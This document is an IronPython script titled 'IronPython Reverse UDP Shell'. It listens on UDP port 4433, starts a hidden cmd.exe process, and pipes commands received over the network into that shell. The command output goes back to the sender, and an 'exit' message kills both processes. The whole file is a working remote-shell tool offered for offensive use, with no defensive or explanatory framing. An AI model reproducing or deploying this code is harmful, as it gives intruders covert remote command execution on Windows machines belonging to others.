##################################################
## IronPython Reverse UDP Shell
##################################################
## Author: daddycocoaman
##################################################
from System.Diagnostics import Process, DataReceivedEventHandler, DataReceivedEventArgs
from System.Runtime.InteropServices import DllImportAttribute, PreserveSigAttribute, Marshal
from System.Text import Encoding
from System.Net.Sockets import UdpClient
from System.IO import IOException
from System.Net import IPEndPoint, IPAddress


#Set callback IP/Port. Set to IPAddress.Any for global bind
#If specifying address, comment out next line and replace with IP.Address.Parse line
IP = IPAddress.Any
#IP = IPAddress.Parse("127.0.0.1")
PORT = 4433

local = IPEndPoint(IP, PORT)

#Set Timeout in milliseconds. 0 is infinite
SND_TIMEOUT = 0
server = UdpClient(local)
server.Client.SendTimeout = SND_TIMEOUT
remote = IPEndPoint(IPAddress.Any, 0)
conn = server.Receive(remote)[1]

def CmdOutputDataHandler(process, outline):
    if not outline.Data:
        bytesOut = Encoding.ASCII.GetBytes(" \r\n")
        server.Send(bytesOut, bytesOut.Length, conn)
    else:
        bytesOut = Encoding.ASCII.GetBytes(outline.Data + "\r\n")
        server.Send(bytesOut, bytesOut.Length, conn)

#Setup/start process
p = Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.CreateNoWindow = True
p.StartInfo.UseShellExecute = False
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.RedirectStandardInput = True
p.StartInfo.RedirectStandardError = True
p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.Start()
p.BeginErrorReadLine()
p.BeginOutputReadLine()

while True:
    pids = Encoding.ASCII.GetBytes("SPID: %s\nCPID: %s\n" % (Process.GetCurrentProcess().Id, p.Id))
    server.Send(pids, len(pids), conn)

    #Recieve loop
    while (not p.HasExited):
        try:
            inp = Encoding.ASCII.GetString(server.Receive(remote)[0])
            if inp.ToLower() == "exit":
                p.Kill()
                Process.GetCurrentProcess().Kill()
            else:
                p.StandardInput.WriteLine(inp)
        except:
            p.Close()
            break
    
    break